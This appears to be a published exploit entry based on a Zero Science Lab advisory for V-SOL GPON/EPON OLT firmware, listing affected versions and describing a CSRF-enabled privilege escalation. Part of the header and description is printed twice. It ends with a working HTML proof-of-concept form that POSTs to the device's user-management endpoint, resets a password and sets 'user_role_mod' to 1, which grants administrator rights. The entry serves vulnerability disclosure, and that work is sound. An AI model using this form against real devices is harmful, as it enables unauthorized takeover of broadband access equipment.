# Exploit Title: V-SOL GPON/EPON OLT Platform 2.03 - Remote Privilege Escalation
# Author: LiquidWorm
# Discovery Date: 2019-09-26
# Vendor: Guangzhou V-SOLUTION Electronic Technology Co., Ltd.
# Product web page: https://www.vsolcn.com
# Tested on: GoAhead-Webs
# Advisory ID: ZSL-2019-5538
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5538.php
# Affected version: V2.03.62R_IPv6
# V2.03.54R
# V2.03.52R
# V2.03.49
# V2.03.47
# V2.03.40
# V2.03.26
# V2.03.24
# V1.8.6
# V1.4

Summary: GPON is currently the leading FTTH standard in broadband access
technology being widely deployed by service providers around the world.
GPON/EPON OLT products are 1U height 19 inch rack mount products. The
features of the OLT are small, convenient, flexible, easy to deploy, high
performance. It is appropriate to be deployed in compact room environment.
The OLTs can be used for 'Triple-Play', VPN, IP Camera, Enterprise LAN and
ICT applications.

Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.



V-SOL GPON/EPON OLT Platform v2.03 Remote Privilege Escalation


Vendor: Guangzhou V-SOLUTION Electronic Technology Co., Ltd.
Product web page: https://www.vsolcn.com
Affected version: V2.03.62R_IPv6
                  V2.03.54R
                  V2.03.52R
                  V2.03.49
                  V2.03.47
                  V2.03.40
                  V2.03.26
                  V2.03.24
                  V1.8.6
                  V1.4

Summary: GPON is currently the leading FTTH standard in broadband access
technology being widely deployed by service providers around the world.
GPON/EPON OLT products are 1U height 19 inch rack mount products. The
features of the OLT are small, convenient, flexible, easy to deploy, high
performance. It is appropriate to be deployed in compact room environment.
The OLTs can be used for 'Triple-Play', VPN, IP Camera, Enterprise LAN and
ICT applications.

Desc: The application suffers from a privilege escalation vulnerability.
Normal user can elevate his/her privileges by sending a HTTP POST request
setting the parameter 'user_role_mod' to integer value '1' gaining admin
rights.


<html>
  <body>
    <form action="http://192.168.8.200/action/user.html" method="POST">
      <input type="hidden" name="user_name_add" value="" />
      <input type="hidden" name="user_password_add" value="" />
      <input type="hidden" name="password_confirm_add" value="" />
      <input type="hidden" name="user_role" value="0" />
      <input type="hidden" name="user_password_mod" value="test" />
      <input type="hidden" name="password_confirm_mod" value="test" />
      <input type="hidden" name="user_role_mod" value="1" />
      <input type="hidden" name="option_um" value="17" />
      <input type="hidden" name="who" value="1" />
      <input type="submit" value="Escalate" />
    </form>
  </body>
</html>